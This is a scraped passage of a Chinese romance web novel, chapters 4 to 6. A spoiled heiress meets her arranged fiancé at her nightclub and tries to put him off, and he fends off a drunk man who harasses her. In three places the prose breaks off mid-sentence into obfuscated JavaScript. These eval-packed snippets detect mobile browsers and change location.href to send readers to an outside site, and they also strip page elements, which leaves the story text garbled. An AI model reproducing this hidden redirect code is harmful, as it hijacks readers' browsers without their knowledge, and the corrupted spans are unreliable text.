“那怎么行,”江璟烨把手机贴到耳边:“我倒要问问,他都凶我妹妹什么了。” 江棠梨伸手就去抓江璟烨的手腕,奈何大哥的身量高,她够不着,江棠梨声音都急破了音,“他没凶我,我开玩笑的。” “开玩笑?” 江棠梨高高举着的两只胳膊僵在半空:“......” 一阵静默里,江棠梨身子一落,屁股坐回了两只脚后跟上。 就这么一五一十地交代了前因后果。 但是最后,她多加了一句:“他跟爸爸说会来家里坐一会,其实呢,他就是故意把我引回来,然后戳穿我,他这种就是赤裸裸的小人之心!” “小人之心?”江璟烨气笑一声:“他今晚是要连夜回海市的,之所以把车开到咱们家门口,你就没想过,他会不会是不想你一路跟他到机场?” “还有,你是真不知道他叫什么吗,宴会上见过一次不说,他爷爷你也见过,今天又跟了人家一路,人家都送你礼物了,你却在那不依不饶地问人家叫什么。” 江璟烨双手压膝,弯腰看她:“到底是谁弄谁难堪?” 江棠梨:“......” “还有,你确定自己宁愿嫁给王赞也不嫁给他?” 江棠梨扁了扁嘴:“爸爸说了,我可以不嫁。” “现在不嫁,以后也不嫁?”江璟烨语气中隐有严厉。 江璟烨是这个家里,唯一会用这么严肃且教导的语气和她说话的一个人。 江棠梨垂下眸,被眼泪打湿的眼睫在眼睑下落下一排暗影。 尽管江璟烨也很疼这个妹妹,却也知道,娇生惯养让她落了一身嚣张跋扈的坏毛病。 他语气渐软,但音色颇沉:“以后你能不能遇到喜欢的人,我不知道,但我可以很确定地告诉你,在你可以选择的人里面,无论家世还是人品,很难再遇到比陆时聿更好的。至于外貌,那是各花入各眼,但是以我对你的了解,他的长相应该正中你的喜好。” 江棠梨的确很看重异性的外貌,但她也不是一个只看脸的人。 她喜欢热情的、肆意的、潇洒的,可是那个人呢? 沉闷的好似一副冰冰凉的古玩,即便嘴角落一层笑,也是笑不达眼底,敷衍极了。 江棠梨抬起脸来:“长得好看有什么用,我不喜欢他,不喜欢就是不喜欢!” 江璟沐没有掺杂任何私人情绪,就事论事:“生在我们这样的家庭,因为喜欢因为爱而结婚的,遇到那是你的幸运,退而求其次,人品更为珍贵,这一点,还用我跟你多说吗,还是说,你无所谓未来的老公是个拈花惹草的人?” 放在床头柜上的手机传来“滋滋”震动声。 一直不发一言的江璟沐起身将手机拿过来递给了妹妹,顺带搂着大哥的肩膀:“很晚了,有什么话明天再说。” 江棠梨埋着脸,两滴豆大的眼泪砸在了手机屏幕上。 冷白的光线里,是一条陌生号码发来的短信。 「我是陆时聿,今晚的事多有冒犯,不知江小姐明晚有没有时间?」 4. 第 4 章 陆时聿? 这人竟然主动给她发短信? 而且还是道歉的短信! 不相信似的,江棠梨抬起手腕擦掉眼泪,又将那串文字从头到尾默读了一遍。 也不知怎么就生出了一个奇怪的想法。 “大哥——” 已经走到门口的江璟烨回头看她。 江棠梨问:“陆时聿的手机号多少?” 视线从她手里的手机抬到她脸上,江璟烨眼里有疑惑:“你问这个做什么?” “我不是要嫁给他吗,难道还不能知道他的手机号?” 几分迟疑里,江璟烨掏出手机,将号码报给她,“女孩子,有点礼貌不是坏事。” 可江棠梨的注意力却在刚刚听到的那串号码上。 不对呀,大哥说的手机号和发来短信的这串号码完全对不上。 眼眸转了两圈后,江棠梨回了短信过去:「你几个手机号?」 很快对方回了过来:「两个,这个号码是我的私人号。」 所以大哥手机里存的是他的工作号码喽。 江棠梨笑出“噗嗤”一声。 抬头,微红的眼瞳里带着几分得意:“大哥,看来你和陆时聿的关系很一般嘛~” 江璟烨皱眉:“什么意思?” 江棠梨晃了晃脑袋:“没什么,”她下巴一抬:“帮我把门带上,谢谢。” 上一秒还哭得稀里哗啦,不过眨眼就成了没事人。 在江璟烨的无奈摇头里,江璟沐歪头看她:“少玩手机早点睡。” 本来哭了这么久是可以早点睡的,但是现在,她哪里还睡得着。 江棠梨盘腿坐在床上,双眸转个不停,蓦地,她眉棱一挑,已经暗下去的手机屏幕再度被她点开。 江棠梨:「我周末一般都很忙,如果你想见面,那就只能去我的酒吧碰碰运气了。」 都说酒吧见人品。 不过江棠梨现在对他「人尽皆知」的人品已经没多大兴趣,但是她觉得有必要让他看看她私下里‘真实’的一面。 毕竟,让他亲口拒绝这桩婚事,肯定要比她说‘不’更没有回旋的余地。 就是不知道他会不会答应。 不过一个咬唇的功夫,手机界面跳出新的回复:「好,那就明天晚上。」 * 万籁俱寂, 私人飞机穿梭云端。 闭目间,空乘拿来一条驼色羊绒毯盖在了他身上。 陆时聿阖眼说了声“多谢”。 两个多小时后,飞机停落海市,刚一下机舱没走多远,老爷子陆之远的电话就打来了。 “爷爷。” “看来我时间掐得很准嘛。” 陆时聿侧头看了眼身后的陈敬,笑了笑:“这么晚了您怎么还不睡?” 老爷子叹了口气:“你平安落地,我这心才能彻底落下。” 陆盛集团总部虽然设在京市,但这几年,陆时聿的工作重心都放在了海市。所以每个月,除了出差,他留在海市的时间会多一些,近期回京市频繁,主要原因也是与爷爷看重的这桩婚事有关。 “明天我还要回去一趟。” “还要回来?”陆之远语露意外,“是公事?” “不是,”陆时聿说一般留一半:“和江小姐约见面,是临时决定的。” “江小姐?”陆之远反应慢了两拍:“你说梨梨吗?” 不过见了人家小姑娘一面,就亲切熟络到唤起人家的乳名,可见爷爷有多喜欢她。 可是又到底喜欢她什么呢? 陆时聿对江家那位大小姐了解不多,也没有多做打听。 加上今晚,总共也就见过两次面。 不过这都不重要,能被爷爷夸上口的,想必也不会太差。 只是没想到,爷爷口中的「很是天真可爱」会是这般的「天真可爱」。 陆时聿点头说是。 陆之远忙问:“那地方约好了吗,能不能带回家来?” 先不说地方约在了酒吧,单从今晚那位江小姐对他的‘客气程度’来看,似乎是很不满意这桩婚事,又或者...... 不满意他。 不过这都不重要。 “下次吧,”陆时聿说:“如果下次她愿意,我再带她回去见您。” 说着,一辆橙色跑车停在了他面前。 车窗落下,陆时聿朝对方做了一个噤声的动作。 几乎是同时,从车窗里传来的音乐降到了无声。 “爷爷,时间不早了,您早点休息吧。” “好好好,你也早些回去。” 电话挂断,陆时聿回头看向陈敬:“哪些事情会让爷爷担心,你心里要有数。” 陆时聿是个极其克己复礼的人,即便是心有不悦,也鲜少会表露出来。 但陈敬跟在他身边多年,虽然到现在还看不清他眼里的全貌,但多多少少还是能听出他的话外音。 “陆总放心,我心里有数的。” 说完,陈敬给他打开身前这辆跑车的车门。 主驾驶坐着陆时聿的多年好友楼昭,见他单手压腹矮身坐进来,楼昭眼里含着意味深长的笑,“咱们陆总好像有点不开心啊。” 陆时聿手指抵进喉结下方的领带口,松了松,“不是让你别来吗?” 楼昭长了一张坏男人的脸,一笑,有点风流痞相。 “不来能行吗,我现在见你的次数已经开始倒数了。” 陆时聿低着下颚笑出一声气音:“没你说的那么夸张,而且这个婚,能不能结成还另说。” 楼昭听出了隐情:“怎么说?” “可能,”陆时聿想不到其他的可能:“我不是她喜欢的那一款。” 他能说这话,其实楼昭一点都不意外。 别看他这位兄弟名声好得出奇,外头也的确是一堆女人想打他的主意,可那些女人看到的都是他表面的‘风光’。 绅士君子,光明磊落,这些都不假。 可他也足够的...... 沉闷、无趣、没有情调。 这样的男人,可从来都不会去讨女人的欢心。 若说砸钱去哄,也是能做到但想不到的。 而江家那位,在楼昭得知这桩婚事后就已经第一时间找人打听了。 家庭背景不错,长相也不错,就是那脾气有够祖宗。 听说是朵众星捧月的富贵娇气花。 这样的女人,说真的,难养,碰上一位会‘养花’的是她的幸运。 偏偏他这个兄弟,是个连浇水都理不清次数和频率的。 不过话说回来,若是谈婚论嫁,那他这个兄弟绝对可以在排行榜上位居前列,男人嘛,会再多的情趣懂再多的浪漫,都远不及人品和教养来得重要。 看来江家那位,有自己的喜好追求,是个吃‘里子’不吃‘面子’的。 但是以楼昭对陆时聿的了解,他喜欢的女人,应该也不是江家那一款,可他怎么从刚刚那句话里品出了不对劲的味道呢? 楼昭目光停在他脸上好一会儿:“所以你这趟过去,见着人了,觉得满意?” 陆时聿没有表明自己的态度,只说:“爷爷很喜欢她。” 答非所问,楼昭觉得他在欲盖弥彰:“我是问你,又没问老爷子。” “我?”陆时聿眉梢挑出洒脱:“我满不满意不重要。” 楼昭:“......” 也是,他这个兄弟,眼里一向留不下女人的影子。 所以跟他聊女人,压根就聊不出什么花样来,还不如聊生意。 “当我没问。” 话落,楼昭一脚油门。 * 江棠梨有很严重的起床气,不睡到自然醒绝对会影响她一天的好心情。 但是今天,习惯睡到日上三竿的人竟然在早上八点准时出现在了餐厅。 江祈年端着她额头被压出的睡痕看了看,一脸的匪夷所思:“怎么这么早就起来了?” 周温乔也起身走到她身前,手摸在她额头:“不舒服吗?” 下楼的时候,江棠梨打了个没睡饱的哈欠,这会儿,眼里还噙着点儿生理眼泪。 她摇了摇头:“困。” 江璟沐好笑一声:“那你起来干嘛,又没人喊你。” 江棠梨扁扁嘴。 她倒是想睡,可今天事情被排得太满了。 既要去给陆家那位挑礼物,又要给自己挑一身‘难搞’的造型,晚上还要去酒吧应付陆家那位。 美好的一天全被一个「陆」字占满了。 想想就好烦。 烦得她七点不到就醒了。 见大哥不在,江棠梨点点二哥的肩膀。 接到指令,江璟沐给她抽开身旁的椅子。 江棠梨一屁股坐下去,脑袋一歪,靠在了二哥那只安全感拉满的肩膀:“二哥,你上午忙吗?” 江璟沐扭头看她:“干嘛?” “想坐你的车。” 她声音恹恹无力,听得江祈年直皱眉:“昨天不是都跟你说了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123919|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一条项链而已,买一个还回去就是——” 江棠梨腰板瞬间拉直了,“不用,一人做事一人当。” 话说得倒是硬气。 可女儿口袋里有多少钱,他这个老爸会不知道? “那你跟我说说,你准备怎么当?”江祈年抱起双臂,好整以暇地看着她。 见她眉梢扬出沾沾自喜的自信,江祈年眼角眯了眯:“可别告诉我,你准备动你爷爷信托里的钱。” “怎么可能!”江棠梨只否认却不说下文:“总之我会处理好的,这事你就别管了。” 见她这么言之凿凿,江祈年心里反而没底了。 “原本只是一条项链,你可别又给我捅出其他的篓子。” “不会,绝对不会!”江棠梨三指并拢,举天发誓:“我保证我会把这件事处理得漂漂亮亮,无懈可击!” 江璟沐:“......” 得,能说这话,看来是要把手伸到他口袋了。 早餐吃完,江棠梨用餐巾擦了擦嘴,“二哥,你在楼下等我,我一会儿就好。” 结果一等就等到九点五十,不过江璟沐对妹妹的口中的「一会儿」早就习以为常。 “能走了?” 江棠梨在家喜欢赤脚,所以家里的每一处都铺着最柔软细腻的羊绒地毯。 江棠梨赤脚踩下台阶:“走吧。” 到了玄关,江璟沐问她:“穿哪双鞋?” 两侧六米宽的鞋柜,一侧全是她的鞋。 江棠梨抬头看向直通到顶的鞋柜:“高跟鞋那一层,你打开我看看。” 她的高跟鞋何止一层。 不过她鞋子太多,虽然江棠梨自己记不住,但是江璟沐记得一清二楚。 江璟沐按了两下墙壁上的开关,第一到第四层的隔层随着拉杆向外再向下缓缓移动。 江棠梨扫了两眼后,指着一双全水钻的银色红底恨天高:“那双吧。” 江璟沐看了眼她身上的乳白色羊绒大衣:“你一会儿要去哪?” “商场。” 江璟沐将高跟鞋放到她脚前,然后又给她拿了双平底的:“备一双。” 腰刚直起来,脸颊就被江棠梨虚虚亲了下:“谢谢哥。” 嘴这么甜,这是要开口还是伸手了? 江璟沐没给她主动的机会,递给她一张支票:“给。” 江棠梨看都没看就用手肘一挡:“我有。” 江璟沐直接把支票塞她大衣口袋里,“就你那点家底,你以为我不知道?” 江棠梨不到万不得已是不会要两个哥哥的钱的,特别是这个二哥,平时就总接济她。 不过她这次硬气了,把支票掏出来:“你少看不起人,最近我那两个酒吧生意可好了。” “再好也就只够你赔那条项链的零头,拿着吧。” 江棠梨这才反应过来,她低头看了看支票上的金额,倒吸一口气,“你该不会是想让我赔项链的钱吧?” “不然呢?” 江棠梨愣了两秒后,气笑一声:“是你傻还是我傻?” 江璟沐皱眉:“什么意思?” 江棠梨扭头往客厅方向瞥了一眼后,压低声音:“我自有办法。” 在江璟沐依旧茫然不解的眼神里,江棠梨解开大衣的腰带,给他看自己的战袍。 江璟沐:“......” 江棠梨又是挑眉又是抬着下巴:“怎么样?” 银色抹胸亮片短裙,整个一夜店装。 江璟沐眉眼一沉,抬手给了她脑袋一巴掌:“上去换掉!” 江棠梨揉着自己的天灵盖:“我不!” 江璟沐气得拿手指她:“要是让爸和大哥知道,你信不信......”后面的话他都不忍心说。 江棠梨却“嘁”了声:“不是说他君子吗,我倒要看看他这个君子能不能忍受得了未来的老婆是个夜店咖。” 原来是想劝退陆家那位,江璟沐这才舒了口气,但是他又一秒皱眉。 “那你穿成这样跟项链有什么关系?” 江棠梨端着一脸的狡黠:“那你就别管了,我自有妙招。” 怎么可能不管。 他就这一个宝贝妹妹。 “所以你今天是跟陆时聿约在酒吧了?” 虽说这个妹妹喜欢去夜店,但也就只敢在自己的地盘造次穿成这样。 江棠梨警觉地看着他:“干嘛,你该不会也要去吧?” 江璟沐沉出一声警告的冷音:“所以你给我悠着点。” 5. 第 5 章 夜幕降临,飞机停落机场。 陆时聿的行程,陈敬虽知晓,却也不是事事都知晓。 就比如今天飞回京市,他只知道陆时聿和江家那位小姐有约,却不知约在何时何处,但他没有接到晚餐事宜,想必是要去江家,谁知刚一上车,就听—— “去Tou酒吧。” 陈敬在心里默念了两遍后,又连在一块儿。 「偷」? 这酒吧名字,还真是令人费解。 不止陈敬这么觉得,出行前,在收到江棠梨发来的地址时,陆时聿也和他一样,觉得这个名字很特别,特别到让他默念了好几遍,不知是该念“T、O、U”还是拼出一个“tou”音,于是他就在短信里多问了一句,以防事后有所冒犯。 只是没想到,收到的回复比这个酒吧名字更为有趣:「就是偷的缩写,我另间酒吧名字是浮生。」 浮生偷得半日闲的意思? 如果是这样,那这间名为「Tou」的酒吧倒有了别具一格的情调。 陆时聿甚至在想,日后她若是还准备开分店的话,是不是会依次起名为:「得」「半」「日」「闲」...... 在陆时聿那双垂眸失笑的无意识里,车子随导航提示一路开向目的地。 酒吧这种地方,陆时聿也会在闲时去,但是他喜欢环境清幽一点的,像那种鼓乐喧天,人声鼎沸的,他会很不适应,又或者说,不太喜欢。 但是推开那扇厚重的玻璃门,无论是诡谲的灯光还是擂震耳膜的乐声,都让他眼里现出排斥之色。 侍应生来接他手里的大衣,但被陈敬先一步接住了。 忽明忽暗的旋转灯打过来,陆时聿试图从繁华迷乱的灯红酒绿里找到昨晚那道影子。 见他眼角渐眯,陈敬走近一步,“陆总,需要帮您打听江小姐是否在吗?” 环境过于嘈杂,陆时聿是看了他嘴型才辩出他话。 他摇了摇头。 那位江小姐说了,她今晚会一直在。 就是不知道人在何处。 陆时聿抬眼慢慢扫过舞池,各种鲜亮的着装里,有一抹银光从他视线里划过,但还没来及留下影子就因他收回的视线戛然而落。 他有耐心,今晚也有足够的时间,但这不说明他会站在这里极其被动地等她出现。 手机轻抵耳边,从吧台到门口,在一道道的等待声里,陆时聿挂断电话又发了一条短信过去。 感觉到他的不耐,陈敬提议:“陆总,我先去给您开个座。” 结果一问才知道,卡座已经没有位置。 这让陈敬有些犯难了,总不能让陆总在吧台边上等人吧。 领着他们进门的侍应生还等在一旁,陈敬问他:“请问江棠梨江小姐在吗?” 所以两人从进门到现在,一直在找的是他们江总? 侍应生很有眼力见,在门口接待时就看出了两人身份的不一般,特别是旁边那位身着一身冷黑色西装的男人,看着温文尔雅,可一身矜贵的气质又让他锋芒暗露。 侍应生忙点头:“在的,您稍等,我去给我们江总打个电话。” 说是打电话,可陈敬却见他朝里面的卡座方向小跑。 陈敬的视线一路追过来,然后就见墙边的一处卡座里,一个浓妆艳抹的女人扬脸看过来。 若不是那双极具辨认的大眼睛,陈敬差点都没认出来。 随着那一身抹胸式的亮片短裙映在他眼底,陈敬下意识吞咽了一下。 这哪里有半点的名媛气质,简直就是个夜店女王啊! 陈敬刚一转身,陆时聿就走到了他身后。 “陆总——” 见他双眼眨个不停,陆时聿不禁皱眉。 “江、江小姐在那。” 顺着他手指的方向,陆时聿抬眼看过去,只一眼,还没来及展开的眉心顿时又蹙紧了几分。 而江棠梨也在起身的时候看见了他。 与其说看见,倒不如说,猝不及防地撞进了他那双深邃的眼眸里。 自然垂落于身侧的两只手,不知为何,突然就攥紧了。 要怎么形容定在她脸上,不,是将她上下“打量”着的眼神呢? 鄙夷不屑,还是嘲讽戏谑? 总之满眼写着「看不惯」。 正中下怀,江棠梨心底刚生出的那点不安突然一消。 陆时聿有轻微的近视,不过度数不高,以至于双眼凝过去时,眼角微眯。 第一次见她时,一袭鹅黄色晚礼裙,温婉里又透着娇俏。 第二次见她,黑色皮草配冷帽,桀骜难驯。 而今天,她又换了一身造型,红唇藕臂下,一条银色紧身抹胸短裙裹出她的曼妙。 或许在旁人眼里,她这身装扮很艳俗,但是她很会搭配,全身上下,除了手腕一只金属链手表外再无一珠宝首饰,再加上她生了一双干净剔透的眸子,即便红唇潋滟,也硬是将她的夜店风脱了俗,甚至还带出了几分高贵。 可她身上的裙子实在太短了,堪堪只遮得住臀...... 陆时聿无意用眼神冒犯她,实在是她穿的这身太过耀眼,犹如流淌在深绛夜幕里的一缕银河。 陆时聿竭力将视线定睛在她脸上,随着她双脚站定,陆时聿礼貌喊了声:“江小姐。” 他身量高,即便江棠梨穿着12厘米的高跟鞋站在他面前,也才堪堪只到他鼻尖往下一点。 江棠梨不喜欢被人居高临下地看着,她不动声色地往后退了一步。 “陆总来了怎么不给我打个电话?” 打了,但你没接。 短信也发了,但你没回。 不过陆时聿没说这些。 “这里似乎有些吵,要不要换个地方?” 他不觉得能在这样的地方聊出什么来,更不喜欢像拿个喇叭似的大声和对方说话。 但是江棠梨却不以为意:“来都来了,还换地方干嘛,”她肩膀一转:“跟我来吧。” 五光十色的灯筒旋转出迷离的光,照在她后背的一对蝴蝶骨上。 陆时聿落后一步走在她身后方,眸光不过一个偏转,就捕捉到三四双,不、五六双,又或者更多,总之那一双双眼睛都齐齐聚焦在他左前方。 陆时聿尽量做到视而不见,可偏偏有些人让他眼前不清净。 “美女,一个人吗?” 一个喝到满面红光的年轻男人堵住了江棠梨的路。 江棠梨眉梢一挑,笑而不语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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长这么大,第一次被人以「帅哥」相称,陆时聿一时不知该以何种心情应对。 但是那一瞬,一个想法直直从他心底往上涌:她是不是经常用这招,又或者经常挽住别的帅哥的臂弯来搪塞对她意图不轨的男人。 陆时聿侧头看她。 嘴角羞涩,眼眸微弯,可抬起的下巴却勾勒出她盛气凌人的下颚线。 简直就是一只狡猾又心机叵测的狐狸。 所以爷爷的那句「很是天真可爱」到底从何而来? 无奈摇头间,对面传来男人的醉腔:“你他妈玩老子呢!” 说着,男人手里的红酒杯往地上一摔,“啪啦”一声里,酒红色的液体四溅开。 感觉到腿上的冰凉,江棠梨低头看了眼,陆时聿也下意识低头,眼前闪过一道影子,几乎是瞬间,陆时聿右手迅速一抬,精准无误地攥住了男人扬过来的手腕。 不远处的卡座里,江璟沐抬手止住身后保镖就要上前的动作。 “沐总,江小姐......” 说话的是日常保护江棠梨安全的保镖关小飞。 相比他绷紧的腮帮和攥紧的拳头,江璟沐却一副好整以暇看戏的架势:“不急。” 总说陆家这位谦谦君子温润如玉,他倒要看看,这块玉是温还是凉。 6. 第 6 章 江棠梨知道自己刚刚语带挑衅,只是没想到陆时聿会出手帮她解围。 挽在他臂弯里的手下意识一紧,江棠梨扭头时,诡谲的灯光刚好打过来。 他的脸半陷在阴影里,暗影下,他的神情不明,却遮不住他一身生人勿近的冷。 男人用力把手往回挣,奈何却徒劳,只能扯着嗓子大喊:“你他妈给我放手。” 陆时聿扣着他手腕的动作不仅不松,甚至还越来越往里扣,顺着他的力道,男人的腰也一点一点矮下去。 哀嚎声里,江棠梨见他手背青筋血管渐渐凸起,那一瞬,江棠梨突然感受到他身上有种类似顶级alpha的支配力和压制力,哪怕一句话不说,也足够让人胆战心惊。 一旁,陈敬也在看着今天略有些让他陌生的人。 跟在陆时聿身边多年,陈敬还是第一次见他动怒。 为女人而动手,更是史无前例。 明明动作狠厉,可他表情却无波无澜,只是一双瞳仁晦暗下来,透着乌沉沉的压迫。 男人的哀嚎声越来越大,四周看过来的眼神也越来越多。 “陆总。”陈敬小心翼翼地喊他一声。 这一声里,不乏劝阻的意味。 毕竟这种行为不适合出现在陆时聿身上,但是他帮的是江家大小姐,这位不久后就要成为陆家少奶奶的女人。 不过,在陈敬的这一声之后,陆时聿默了好几秒才将男人的手反方向一甩。 男人站不稳,趔趄两步后一屁股跌坐在地,手里的那瓶昂贵红酒开了塞,红色液体顺着瓶口汩汩流了出来。 男人低头看了眼,从他绷紧的双腮就能看出他的心疼。 再抬头,他额头青筋跳动,想撑地站起来,却全身都使不上力气,就这么怒目切齿地看着对面这个让他颜面尽失的男人。 如果要形容,江棠梨觉得他像一只想咬人却又只能龇牙咧嘴的狗。 不过陆时聿却像是懒得多看地上的人一眼,他注意力都在自己的手上,像是碰了什么让他恶心的脏东西,明明眼里尽是厌恶,偏偏说的话温和如玉:“带江小姐出去,我去一下洗手间。” 视线追着他的背景进了光影迷离的走廊,略微失神里,耳边传来声音。 “江小姐,这边请。” 江棠梨看向朝她颔首的男人,记得没错,这人应该是陆时聿的秘书,上次在宴会上见过他一次。 虽然骄纵跋扈,但江棠梨也懂礼貌,特别是与她不生瓜葛的人,她唇角弯出礼貌微笑:“等他一块儿吧。” 想必那人是去洗手了,也要不了多久。 陈敬点头:“好的。” 不远处,江璟沐这才挥了下手,站他身后的关小飞兄弟俩立马快步走了过来。 “你们干嘛,干嘛——” “不想断胳膊少腿的就给我老实点!” 在关小飞的沉声威胁里,男人立马闭了嘴。 江棠梨看向不远处的卡座,见二哥抱着胳膊八风不动地坐在那儿,江棠梨朝他挑了个眉。 其实像今天这种意外时有发生,不然江璟沐也不会派了两个保镖时时保护在妹妹身侧。 只是没想到陆家那位,没有传闻中那么沉不住气。 不过话说回来,真沉得住气按捺不动的话,这桩婚事,退了也罢。 眸光偏转,见‘曹操’从走廊里走出来,江璟沐收回视线,偏开脸。 “怎么还在这站着?” 陆时聿走到江棠梨身前,明明是问她的话,眼神却落到陈敬脸上。 “是我要在这等你的。” 鼓声碟声比刚刚小了很多,陆时聿的视线从她的潋滟红唇移到她裸露的双肩。 “外面冷,去穿件外套吧。” 可是外套还在楼上办公室,穿这么高的高跟鞋,江棠梨不想爬楼梯,她咕哝了两下嘴说了句什么。 陆时聿没听清,微微低头:“什么?” 视线落到离自己只有咫尺的耳朵尖,江棠梨眼尾稍稍一挑。 这人竟然和她一样,耳朵尖有一颗很浅很浅的小痣。 等了两秒不见她说话,陆时聿抬起头,“你该不会就穿这身来的?” 见他蹙眉,江棠梨突然想起自己从卡座里走过来时,他看自己的眼神。 心肺瞬间一堵,她抬着下巴,语气不爽:“不行吗?” 陆时聿面露茫然:“......” 他说什么了吗,怎么又惹出了她的小脾气? 见她朝自己扔了一记白眼转身就走,陆时聿不解的眼神落到陈敬脸上。 陈敬心也不知自己怎么就秒懂了。 “陆总,江小姐是不是......”他将搭在自己胳膊上的外套缓缓往前递。 陆时聿一时哑口。 见他无动于衷,陈敬索性拎起大衣递到他面前,“陆总。” 无奈一声叹气后,陆时聿将外套接到手里。 快步追上前的间隙里,视线从她凸起的蝴蝶骨,至腰线,再到起伏的臀,一晃而过她的长腿,最后看向那细长的高跟鞋跟。 二月里的天,到底是什么样的勇气让她穿这么一身出门的。 站在门里侧的侍应生拉开厚重的玻璃门时,陆时聿将大衣披在了她肩上。 刺骨的冷风从外扑进来,又被肩膀上的重量压下去了似的。 江棠梨回过头来。 “等陈秘书把车开过来再出去吧。” “对对对,江小姐,您先进来吧,我去开车。”说完,陈敬忙推开另一扇门,快步出去。 侍应生很有眼力见,忙将玻璃门关上:“江总,您和您朋友先坐一会儿。” 江棠梨眉眼一压:“不是说了不许喊我江总的吗?” 侍应生忙低下头:“抱、抱歉江小姐,我记住了。” 陆时聿发现了,她发脾气和生气的时候,表情不太一样。 发脾气的时候,眼神又奶又凶。 生气的时候,眉眼沉,表情也很严肃。 “要不要坐一会儿?” 江棠梨瞥了眼沙发,没理他。 不是不想坐,是沙发太矮,而她裙子太短,身前没桌子当着,会走光。 压在大衣下的两条手臂环抱着,江棠梨就这么堵在门里侧站着。 洁净无尘的玻璃门,倒映出身后高出她半个头的男人,虽然看得见轮廓却看不清五官。 江棠梨刚一撇嘴,突然想到今晚约他来的正事。 她忙转身,忘了两分钟前撂的那句狠话「不行吗」以及剜他的那一眼。 “你等我一下,我回去取个东西。” 见她神色匆匆往回小跑,陆时聿又看向她脚上的高跟鞋。 也不怕摔着。 凝眸蹙眉间,他无意识地弯了下唇。 江棠梨两手揪着披在她肩上的大衣领,一口气跑到楼梯口。 刚要踩上楼梯,身后传来声音—— “江小姐。” 江棠梨回头,见是关小飞,她眉梢一挑:“正好,你上去帮我把桌上的那个黑色纸袋拿下来。” 关小飞看了眼她身上的大衣,点了点头:“好。” 再下来,关小飞手里拿的不止她要的纸袋,还有江棠梨来时穿的那件乳白色羊绒大衣。 江棠梨皱眉:“你把我衣服拿下来干嘛?” 关小飞愣了一下:“外面冷。” 她难道不知道外面冷吗? 但是她更想看见陆家那位挨冻,得让他知道,身边有个女人很烦。 既得给她挡那些滋事的酒鬼,还要把衣服给她穿。 江棠梨拽走他手里的袋绳:“拿上去。” 门里侧,陆时聿还站在原地,高跟鞋敲击在地板上的声音被乐声盖住,但他还是听到了声响,回头,见她一只手拎着黑色纸袋,一手揪着大衣领口走过来。 黑色的大衣布料衬得她白细的手指很柔弱,和她骨子里的桀骜狡猾像是两个极端。 陆时聿亲自给她拉开玻璃门。 灌进来的冷风,让江棠梨双膝下意识并拢了一下,哪还记着想让别人挨冻这茬,在陈敬打开后座车门的下一秒,她迅速猫腰钻了进去。 车厢里很温暖,可却不能瞬间焐热她裸露在外的两条腿。 江棠梨左右找了两眼,没看见毯子。 但凡换一个人的车,她都能把高跟鞋脱掉,然后脚踩座椅,用身上的大衣把自己裹起来。 可这是姓陆的车,她要这么做,岂不是被他笑死。 江棠梨瞥了眼中控,就不能把暖气开得再凶猛一点吗? 余光闪进来人影,江棠梨瞬间挺直腰板坐正了。 车门关上,陆时聿视线侧到右边。 被冻得骨结通红的两只手遮在膝盖上,不知是冷还是怕走光。 短暂犹豫后,陆时聿脱掉西装外套,抖开,一言不发地盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123921|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了她腿上。 西装内里沾了他体温,暖暖的。 让江棠梨绷紧的两只膝盖瞬间放松了下来。 一点都不想道谢,可大脑却根本就不听她指挥。 “谢谢。” 但凡他回一声“不客气”,江棠梨也就不作声了,偏偏他说:“下次别穿这么少了。” 还没怎么样呢,就开始管她了。 这要真和他结了婚,岂不是又多了个“爸爸”? 江棠梨逆反心骤起:“我就喜欢这么穿。” 陆时聿视线落到她脸上,“不冷?” “不冷!” 斩钉截铁的两个字,让陆时聿无声失笑。 这就是传说中的嘴硬吗? 江棠梨瞥他一眼:“你要带我去哪?” “去吃饭,”回答了她的问题之后,陆时聿才问她:“你吃了吗?” 既然都决定带她去吃饭了,还问她吃没吃做什么。 江棠梨一赌气:“吃了。” “那就再少吃一点。” 江棠梨:“......” 管她穿衣,还要逼她吃饭,嫁给这样的男人,她以后还有什么自由可言。 转念一想,倒是可以趁着吃饭的机会,让他看看她有多挑。 不过这倒是难到了正在开车的陈敬,来之前没有收到任何有关晚餐事宜的指令,如今他一点准备都没有,偏偏后座的人只说去吃饭,却不说去哪吃。 可他若是问了,岂不是会让江小姐觉得他们陆总没有准备? 思来想起,陈敬挑了一家陆时聿去过两次的西餐厅。 二十分钟后,车停在餐厅门口。 江棠梨瞥一眼窗外。 竟然是她经常光顾的餐厅。 她眉心微蹙,这男人莫不是在来之前做过功课? 耳边的开门声让江棠梨回头,视线追着他身上只一件的衬衫和西装马甲,江棠梨低头看向盖在自己腿上的西装。 暖和的都不想下车。 可是车门已经打开了。 “江小姐。” 江棠梨长叹一口气,咬牙,右腿刚一迈出去,刺骨的冷风瞬间让她打了退堂鼓。 腿就这么不争气地缩了回去。 “我不饿。” 语气软软的,说完以后,嘴唇还微噘,像只可怜兮兮的小鹌鹑。 陆时聿心里无声叹气,“那你在车里等一会儿。” 车门关上了。 隔着车窗,江棠梨看着他步履匆匆地朝餐厅去。 